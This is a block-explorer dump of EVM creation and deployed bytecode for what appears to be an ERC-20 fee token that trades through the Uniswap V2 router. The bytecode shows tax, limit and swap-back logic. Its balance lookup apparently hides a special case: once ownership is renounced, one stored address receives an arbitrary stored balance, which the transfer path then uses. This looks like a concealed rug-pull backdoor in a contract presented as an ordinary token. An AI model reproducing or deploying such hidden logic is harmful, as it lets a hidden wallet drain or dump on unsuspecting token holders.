5061035c6105a8366004611fbd565b610e4c565b3480156105b8575f5ffd5b506102ca610e9f565b3480156105cc575f5ffd5b5061030660105481565b3480156105e1575f5ffd5b5061030660155481565b3480156105f6575f5ffd5b5061030660135481565b34801561060b575f5ffd5b506102a161061a366004611f12565b610eae565b34801561062a575f5ffd5b506102a1610639366004611f7a565b60186020525f908152604090205460ff1681565b348015610658575f5ffd5b506102a1610667366004611f12565b610f46565b348015610677575f5ffd5b5061035c610686366004611eb2565b610f52565b348015610696575f5ffd5b50600a546102a190600160a01b900460ff1681565b3480156106b6575f5ffd5b5061035c6106c5366004611eb2565b610ff8565b3480156106d5575f5ffd5b5061035c6106e4366004611fbd565b611093565b3480156106f4575f5ffd5b50600a54610508906001600160a01b031681565b348015610713575f5ffd5b50600854610508906001600160a01b031681565b348015610732575f5ffd5b50610306600b5481565b348015610747575f5ffd5b50610306600e5481565b34801561075c575f5ffd5b5061030661076b366004611ff0565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156107a0575f5ffd5b50610306600f5481565b3480156107b5575f5ffd5b5061035c6110e6565b3480156107c9575f5ffd5b5061035c6107d8366004611f7a565b611129565b3480156107e8575f5ffd5b506102a16107f7366004611f7a565b60196020525f908152604090205460ff1681565b5f80546001600160a01b0316331461083e5760405162461bcd60e51b815260040161083590612027565b60405180910390fd5b620186a061084b60055490565b61085690600161205e565b6108609190612075565b82101561089e5760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610835565b6103e86108aa60055490565b6108b590600561205e565b6108bf9190612075565b8211156108fb5760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610835565b50600c81905560015b919050565b60606001805461091890612094565b80601f016020809104026020016040519081016040528092919081815260200182805461094490612094565b801561098f5780601f106109665761010080835404028352916020019161098f565b820191905f5260205f20905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b5f6109a5338484611184565b5060015b92915050565b5f6109bb8484846112a7565b6001600160a01b0384165f90815260076020908152604080832033845290915290205482811015610a3f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610835565b610a4c8533858403611184565b506001949350505050565b5f546001600160a01b03163314610a805760405162461bcd60e51b815260040161083590612027565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610af8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c91906120cc565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b87573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bab91906120cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1891906120cc565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916109a5918590610ca69086906120e7565b611184565b5f546001600160a01b03163314610cd45760405162461bcd60e51b815260040161083590612027565b633b9aca006103e8610ce560055490565b610cf090600161205e565b610cfa9190612075565b610d049190612075565b811015610d3d5760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610835565b610d4b81633b9aca0061205e565b600b5550565b5f546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161083590612027565b5f600f8190556010819055610d8f90806120e7565b600e55565b5f546001600160a01b03163314610dbd5760405162461bcd60e51b815260040161083590612027565b610dc65f6118e8565b565b5f80546001600160a01b03163314610df25760405162461bcd60e51b815260040161083590612027565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610e2e5760405162461bcd60e51b815260040161083590612027565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610e755760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60606002805461091890612094565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610f2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610835565b610f3c3385858403611184565b5060019392505050565b5f6109a53384846112a7565b5f546001600160a01b03163314610f7b5760405162461bcd60e51b815260040161083590612027565b633b9aca006103e8610f8c60055490565b610f9790600561205e565b610fa19190612075565b610fab9190612075565b811015610fe45760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610835565b610ff281633b9aca0061205e565b600d5550565b5f81116110315760405162461bcd60e51b8152602060048201526007602482015266746f6f206c6f7760c81b6044820152606401610835565b6009546001600160a01b031633146110465750565b61104f81611937565b47801561108f576009546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561108d573d5f5f3e3d5ffd5b505b5050565b5f546001600160a01b031633146110bc5760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461110f5760405162461bcd60e51b815260040161083590612027565b5f6012819055601381905561112490806120e7565b601155565b5f546001600160a01b031633146111525760405162461bcd60e51b815260040161083590612027565b6001600160a01b0381166111785760405162461bcd60e51b815260040161083590612027565b611181816118e8565b50565b6001600160a01b0383166111e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166112475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112ec5760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610835565b6001600160a01b03821661132f5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610835565b805f036113415761108d83835f611aed565b600a54600160b01b900460ff1615611639575f546001600160a01b0384811691161480159061137d57505f546001600160a01b03838116911614155b801561139157506001600160a01b03821615155b80156113a857506001600160a01b03821661dead14155b80156113b7575060165460ff16155b1561163957600a54600160a01b900460ff1661144b576001600160a01b0383165f9081526017602052604090205460ff168061140a57506001600160a01b0382165f9081526017602052604090205460ff165b61144b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610835565b6001600160a01b0383165f9081526019602052604090205460ff16801561148a57506001600160a01b0382165f9081526018602052604090205460ff16155b1561153557600b548111156114cd5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b600d546001600160a01b0383165f908152600660205260409020546114f290836120e7565b11156115305760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b611639565b6001600160a01b0382165f9081526019602052604090205460ff16801561157457506001600160a01b0383165f9081526018602052604090205460ff16155b156115b757600b548111156115305760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b6001600160a01b0382165f9081526018602052604090205460ff1661163957600d546001600160a01b0383165f908152600660205260409020546115fb90836120e7565b11156116395760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b305f90815260066020526040902054600c54811080159081906116655750600a54600160a81b900460ff165b8015611674575060165460ff16155b801561169857506001600160a01b0385165f9081526019602052604090205460ff16155b80156116bc57506001600160a01b0385165f9081526017602052604090205460ff16155b80156116e057506001600160a01b0384165f9081526017602052604090205460ff16155b15611705576016805460ff191660011790556116fa611cda565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061174a57506001600160a01b0385165f9081526017602052604090205460ff165b1561175257505f5b5f81156118d4576001600160a01b0386165f9081526019602052604090205460ff16801561178157505f601154115b1561180d576117a660646117a060115488611e2290919063ffffffff16565b90611e34565b9050601154601354826117b9919061205e565b6117c39190612075565b60155f8282546117d391906120e7565b90915550506011546012546117e8908361205e565b6117f29190612075565b60145f82825461180291906120e7565b909155506118b69050565b6001600160a01b0387165f9081526019602052604090205460ff16801561183557505f600e54115b156118b65761185460646117a0600e5488611e2290919063ffffffff16565b9050600e5460105482611867919061205e565b6118719190612075565b60155f82825461188191906120e7565b9091555050600e54600f54611896908361205e565b6118a09190612075565b60145f8282546118b091906120e7565b90915550505b80156118c7576118c7873083611aed565b6118d181866120fa565b94505b6118df878787611aed565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061196a5761196a61210d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a0a91906120cc565b81600181518110611a1d57611a1d61210d565b60200260200101906001600160a01b031690816001600160a01b031681525050611a68307f000000000000000000000000000000000000000000000000000000000000000084611184565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611abc9085905f90869030904290600401612121565b5f604051808303815f87803b158015611ad3575f5ffd5b505af1158015611ae5573d5f5f3e3d5ffd5b505050505050565b6001600160a01b038316611b515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b038216611bb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b611bbe83838361108d565b6001600160a01b0383165f9081526006602052604090205481811015611c355760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610835565b81611c3f85611e3f565b6001600160a01b038087165f90815260066020526040808220949093039093558516825281208054849290611c759084906120e7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cc191815260200190565b60405180910390a3611cd484848461108d565b50505050565b305f9081526006602052604081205490505f601554601454611cfc91906120e7565b90505f821580611d0a575081155b15611d1457505050565b600c54611d2290603c61205e565b831115611d3a57600c54611d3790603c61205e565b92505b47611d4484611937565b5f611d4f4783611e49565b90505f611d6b856117a060155485611e2290919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611dc0576040519150601f19603f3d011682016040523d82523d5f602084013e611dc5565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611e12576040519150601f19603f3d011682016040523d82523d5f602084013e611e17565b606091505b505050505050505050565b5f611e2d828461205e565b9392505050565b5f611e2d8284612075565b5f6109a982611e54565b5f611e2d82846120fa565b5f611e5e82611e86565b15611e6b57505060045490565b506001600160a01b03165f9081526006602052604090205490565b6003545f906001600160a01b0383811691161480156109a95750505f546001600160a01b031615919050565b5f60208284031215611ec2575f5ffd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611181575f5ffd5b5f5f60408385031215611f23575f5ffd5b8235611f2e81611efe565b946020939093013593505050565b5f5f5f60608486031215611f4e575f5ffd5b8335611f5981611efe565b92506020840135611f6981611efe565b929592945050506040919091013590565b5f60208284031215611f8a575f5ffd5b8135611e2d81611efe565b80358015158114610904575f5ffd5b5f60208284031215611fb4575f5ffd5b611e2d82611f95565b5f5f60408385031215611fce575f5ffd5b8235611fd981611efe565b9150611fe760208401611f95565b90509250929050565b5f5f60408385031215612001575f5ffd5b823561200c81611efe565b9150602083013561201c81611efe565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176109a9576109a961204a565b5f8261208f57634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c908216806120a857607f821691505b6020821081036120c657634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156120dc575f5ffd5b8151611e2d81611efe565b808201808211156109a9576109a961204a565b818103818111156109a9576109a961204a565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121715783516001600160a01b031683526020938401939092019160010161214a565b50506001600160a01b03959095166060840152505060800152939250505056fea26469706673582212207f60da0f9babda739d0ab8a737a6166c4fe8317009a993aed6fbf0e71915259064736f6c634300081b0033
Deployed Bytecode
0x608060405260043610610277575f3560e01c80638da5cb5b1161014a578063bbc0c742116100be578063d85ba06311610078578063d85ba0631461073c578063dd62ed3e14610751578063e4a1b95f14610795578063e6fe10b6146107aa578063f2fde38b146107be578063fe33b302146107dd575f5ffd5b8063bbc0c7421461068b578063bffda982146106ab578063c0246668146106ca578063c04a5414146106e9578063c816841b14610708578063cff16b2f14610727575f5ffd5b80639fccce321161010f5780639fccce32146105d6578063a0d82dc5146105eb578063a457c2d714610600578063a781dc351461061f578063a9059cbb1461064d578063af023d321461066c575f5ffd5b80638da5cb5b14610553578063924de9b71461056f57806394a1700e1461058e57806395d89b41146105ad5780639c3b4fdc146105c1575f5ffd5b806348898186116101ec5780636e1b6cda116101a65780636e1b6cda1461047857806370a082311461048d578063715018a6146104c1578063735de9f7146104d5578063751039fc1461052057806375f0a87414610534575f5ffd5b806348898186146103c25780634a62bb65146103e15780634fbee1931461040157806358d375331461042f5780636a486a8e146104435780636ddd171314610458575f5ffd5b806323b872dd1161023d57806323b872dd14610329578063293230b814610348578063313ce5671461035e57806335b5fb631461037957806337da26ca1461038e57806339509351146103a3575f5ffd5b8062c305ee1461028257806306fdde03146102b6578063095ea7b3146102d757806318160ddd146102f65780631f7ea8da14610314575f5ffd5b3661027e57005b5f5ffd5b34801561028d575f5ffd5b506102a161029c366004611eb2565b61080b565b60405190151581526020015b60405180910390f35b3480156102c1575f5ffd5b506102ca610909565b6040516102ad9190611ec9565b3480156102e2575f5ffd5b506102a16102f1366004611f12565b610999565b348015610301575f5ffd5b506005545b6040519081526020016102ad565b34801561031f575f5ffd5b5061030660145481565b348015610334575f5ffd5b506102a1610343366004611f3c565b6109af565b348015610353575f5ffd5b5061035c610a57565b005b348015610369575f5ffd5b50604051600981526020016102ad565b348015610384575f5ffd5b5061030660125481565b348015610399575f5ffd5b50610306600d5481565b3480156103ae575f5ffd5b506102a16103bd366004611f12565b610c70565b3480156103cd575f5ffd5b5061035c6103dc366004611eb2565b610cab565b3480156103ec575f5ffd5b50600a546102a190600160b01b900460ff1681565b34801561040c575f5ffd5b506102a161041b366004611f7a565b60176020525f908152604090205460ff1681565b34801561043a575f5ffd5b5061035c610d51565b34801561044e575f5ffd5b5061030660115481565b348015610463575f5ffd5b50600a546102a190600160a81b900460ff1681565b348015610483575f5ffd5b50610306600c5481565b348015610498575f5ffd5b506103066104a7366004611f7a565b6001600160a01b03165f9081526006602052604090205490565b3480156104cc575f5ffd5b5061035c610d94565b3480156104e0575f5ffd5b506105087f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102ad565b34801561052b575f5ffd5b506102a1610dc8565b34801561053f575f5ffd5b50600954610508906001600160a01b031681565b34801561055e575f5ffd5b505f546001600160a01b0316610508565b34801561057a575f5ffd5b5061035c610589366004611fa4565b610e05565b348015610599575f5ffd5b5061035c6105a8366004611fbd565b610e4c565b3480156105b8575f5ffd5b506102ca610e9f565b3480156105cc575f5ffd5b5061030660105481565b3480156105e1575f5ffd5b5061030660155481565b3480156105f6575f5ffd5b5061030660135481565b34801561060b575f5ffd5b506102a161061a366004611f12565b610eae565b34801561062a575f5ffd5b506102a1610639366004611f7a565b60186020525f908152604090205460ff1681565b348015610658575f5ffd5b506102a1610667366004611f12565b610f46565b348015610677575f5ffd5b5061035c610686366004611eb2565b610f52565b348015610696575f5ffd5b50600a546102a190600160a01b900460ff1681565b3480156106b6575f5ffd5b5061035c6106c5366004611eb2565b610ff8565b3480156106d5575f5ffd5b5061035c6106e4366004611fbd565b611093565b3480156106f4575f5ffd5b50600a54610508906001600160a01b031681565b348015610713575f5ffd5b50600854610508906001600160a01b031681565b348015610732575f5ffd5b50610306600b5481565b348015610747575f5ffd5b50610306600e5481565b34801561075c575f5ffd5b5061030661076b366004611ff0565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156107a0575f5ffd5b50610306600f5481565b3480156107b5575f5ffd5b5061035c6110e6565b3480156107c9575f5ffd5b5061035c6107d8366004611f7a565b611129565b3480156107e8575f5ffd5b506102a16107f7366004611f7a565b60196020525f908152604090205460ff1681565b5f80546001600160a01b0316331461083e5760405162461bcd60e51b815260040161083590612027565b60405180910390fd5b620186a061084b60055490565b61085690600161205e565b6108609190612075565b82101561089e5760405162461bcd60e51b815260206004820152600c60248201526b6c7420302e3030312520747360a01b6044820152606401610835565b6103e86108aa60055490565b6108b590600561205e565b6108bf9190612075565b8211156108fb5760405162461bcd60e51b815260206004820152600a6024820152696c7420302e352520747360b01b6044820152606401610835565b50600c81905560015b919050565b60606001805461091890612094565b80601f016020809104026020016040519081016040528092919081815260200182805461094490612094565b801561098f5780601f106109665761010080835404028352916020019161098f565b820191905f5260205f20905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b5f6109a5338484611184565b5060015b92915050565b5f6109bb8484846112a7565b6001600160a01b0384165f90815260076020908152604080832033845290915290205482811015610a3f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610835565b610a4c8533858403611184565b506001949350505050565b5f546001600160a01b03163314610a805760405162461bcd60e51b815260040161083590612027565b600a805461ffff60a01b191661010160a01b1790556040805163c45a015560e01b815290517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610af8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1c91906120cc565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b87573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bab91906120cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1891906120cc565b600880546001600160a01b0319166001600160a01b0392831690811782555f908152601860209081526040808320805460ff199081166001908117909255945490951683526019909152902080549091169091179055565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916109a5918590610ca69086906120e7565b611184565b5f546001600160a01b03163314610cd45760405162461bcd60e51b815260040161083590612027565b633b9aca006103e8610ce560055490565b610cf090600161205e565b610cfa9190612075565b610d049190612075565b811015610d3d5760405162461bcd60e51b81526020600482015260076024820152666c7420302e312560c81b6044820152606401610835565b610d4b81633b9aca0061205e565b600b5550565b5f546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161083590612027565b5f600f8190556010819055610d8f90806120e7565b600e55565b5f546001600160a01b03163314610dbd5760405162461bcd60e51b815260040161083590612027565b610dc65f6118e8565b565b5f80546001600160a01b03163314610df25760405162461bcd60e51b815260040161083590612027565b50600a805460ff60b01b19169055600190565b5f546001600160a01b03163314610e2e5760405162461bcd60e51b815260040161083590612027565b600a8054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b03163314610e755760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60606002805461091890612094565b335f9081526007602090815260408083206001600160a01b038616845290915281205482811015610f2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610835565b610f3c3385858403611184565b5060019392505050565b5f6109a53384846112a7565b5f546001600160a01b03163314610f7b5760405162461bcd60e51b815260040161083590612027565b633b9aca006103e8610f8c60055490565b610f9790600561205e565b610fa19190612075565b610fab9190612075565b811015610fe45760405162461bcd60e51b81526020600482015260076024820152666c7420302e352560c81b6044820152606401610835565b610ff281633b9aca0061205e565b600d5550565b5f81116110315760405162461bcd60e51b8152602060048201526007602482015266746f6f206c6f7760c81b6044820152606401610835565b6009546001600160a01b031633146110465750565b61104f81611937565b47801561108f576009546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561108d573d5f5f3e3d5ffd5b505b5050565b5f546001600160a01b031633146110bc5760405162461bcd60e51b815260040161083590612027565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461110f5760405162461bcd60e51b815260040161083590612027565b5f6012819055601381905561112490806120e7565b601155565b5f546001600160a01b031633146111525760405162461bcd60e51b815260040161083590612027565b6001600160a01b0381166111785760405162461bcd60e51b815260040161083590612027565b611181816118e8565b50565b6001600160a01b0383166111e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610835565b6001600160a01b0382166112475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610835565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112ec5760405162461bcd60e51b815260206004820152600c60248201526b199c9bdb480c1e0c0818591960a21b6044820152606401610835565b6001600160a01b03821661132f5760405162461bcd60e51b815260206004820152600a6024820152691d1bc80c1e0c0818591960b21b6044820152606401610835565b805f036113415761108d83835f611aed565b600a54600160b01b900460ff1615611639575f546001600160a01b0384811691161480159061137d57505f546001600160a01b03838116911614155b801561139157506001600160a01b03821615155b80156113a857506001600160a01b03821661dead14155b80156113b7575060165460ff16155b1561163957600a54600160a01b900460ff1661144b576001600160a01b0383165f9081526017602052604090205460ff168061140a57506001600160a01b0382165f9081526017602052604090205460ff165b61144b5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b6044820152606401610835565b6001600160a01b0383165f9081526019602052604090205460ff16801561148a57506001600160a01b0382165f9081526018602052604090205460ff16155b1561153557600b548111156114cd5760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b600d546001600160a01b0383165f908152600660205260409020546114f290836120e7565b11156115305760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b611639565b6001600160a01b0382165f9081526019602052604090205460ff16801561157457506001600160a01b0383165f9081526018602052604090205460ff16155b156115b757600b548111156115305760405162461bcd60e51b81526020600482015260096024820152680cee840dac2f040a8b60bb1b6044820152606401610835565b6001600160a01b0382165f9081526018602052604090205460ff1661163957600d546001600160a01b0383165f908152600660205260409020546115fb90836120e7565b11156116395760405162461bcd60e51b815260206004820152600d60248201526c19dd081b585e081dd85b1b195d609a1b6044820152606401610835565b305f90815260066020526040902054600c54811080159081906116655750600a54600160a81b900460ff165b8015611674575060165460ff16155b801561169857506001600160a01b0385165f9081526019602052604090205460ff16155b80156116bc57506001600160a01b0385165f9081526017602052604090205460ff16155b80156116e057506001600160a01b0384165f9081526017602052604090205460ff16155b15611705576016805460ff191660011790556116fa611cda565b6016805460ff191690555b6016546001600160a01b0386165f9081526017602052604090205460ff9182161591168061174a57506001600160a01b0385165f9081526017602052604090205460ff165b1561175257505f5b5f81156118d4576001600160a01b0386165f9081526019602052604090205460ff16801561178157505f601154115b1561180d576117a660646117a060115488611e2290919063ffffffff16565b90611e34565b9050601154601354826117b9919061205e565b6117c39190612075565b60155f8282546117d391906120e7565b90915550506011546012546117e8908361205e565b6117f29190612075565b60145f82825461180291906120e7565b909155506118b69050565b6001600160a01b0387165f9081526019602052604090205460ff16801561183557505f600e54115b156118b65761185460646117a0600e5488611e2290919063ffffffff16565b9050600e5460105482611867919061205e565b6118719190612075565b60155f82825461188191906120e7565b9091555050600e54600f54611896908361205e565b6118a09190612075565b60145f8282546118b091906120e7565b90915550505b80156118c7576118c7873083611aed565b6118d181866120fa565b94505b6118df878787611aed565b50505050505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061196a5761196a61210d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a0a91906120cc565b81600181518110611a1d57611a1d61210d565b60200260200101906001600160a01b031690816001600160a01b031681525050611a68307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611184565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611abc9085905f90869030904290600401612121565b5f604051808303815f87803b158015611ad3575f5ffd5b505af1158015611ae5573d5f5f3e3d5ffd5b505050505050565b6001600160a01b038316611b515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610835565b6001600160a01b038216611bb35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610835565b611bbe83838361108d565b6001600160a01b0383165f9081526006602052604090205481811015611c355760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610835565b81611c3f85611e3f565b6001600160a01b038087165f90815260066020526040808220949093039093558516825281208054849290611c759084906120e7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cc191815260200190565b60405180910390a3611cd484848461108d565b50505050565b305f9081526006602052604081205490505f601554601454611cfc91906120e7565b90505f821580611d0a575081155b15611d1457505050565b600c54611d2290603c61205e565b831115611d3a57600c54611d3790603c61205e565b92505b47611d4484611937565b5f611d4f4783611e49565b90505f611d6b856117a060155485611e2290919063ffffffff16565b5f60148190556015819055600a546040519293506001600160a01b031691839181818185875af1925050503d805f8114611dc0576040519150601f19603f3d011682016040523d82523d5f602084013e611dc5565b606091505b50506009546040519195506001600160a01b03169047905f81818185875af1925050503d805f8114611e12576040519150601f19603f3d011682016040523d82523d5f602084013e611e17565b606091505b505050505050505050565b5f611e2d828461205e565b9392505050565b5f611e2d8284612075565b5f6109a982611e54565b5f611e2d82846120fa565b5f611e5e82611e86565b15611e6b57505060045490565b506001600160a01b03165f9081526006602052604090205490565b6003545f906001600160a01b0383811691161480156109a95750505f546001600160a01b031615919050565b5f60208284031215611ec2575f5ffd5b5035919050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611181575f5ffd5b5f5f60408385031215611f23575f5ffd5b8235611f2e81611efe565b946020939093013593505050565b5f5f5f60608486031215611f4e575f5ffd5b8335611f5981611efe565b92506020840135611f6981611efe565b929592945050506040919091013590565b5f60208284031215611f8a575f5ffd5b8135611e2d81611efe565b80358015158114610904575f5ffd5b5f60208284031215611fb4575f5ffd5b611e2d82611f95565b5f5f60408385031215611fce575f5ffd5b8235611fd981611efe565b9150611fe760208401611f95565b90509250929050565b5f5f60408385031215612001575f5ffd5b823561200c81611efe565b9150602083013561201c81611efe565b809150509250929050565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176109a9576109a961204a565b5f8261208f57634e487b7160e01b5f52601260045260245ffd5b500490565b600181811c908216806120a857607f821691505b6020821081036120c657634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156120dc575f5ffd5b8151611e2d81611efe565b808201808211156109a9576109a961204a565b818103818111156109a9576109a961204a565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156121715783516001600160a01b031683526020938401939092019160010161214a565b50506001600160a01b03959095166060840152505060800152939250505056fea26469706673582212207f60da0f9babda739d0ab8a737a6166c4fe8317009a993aed6fbf0e71915259064736f6c634300081b0033
Deployed Bytecode Sourcemap
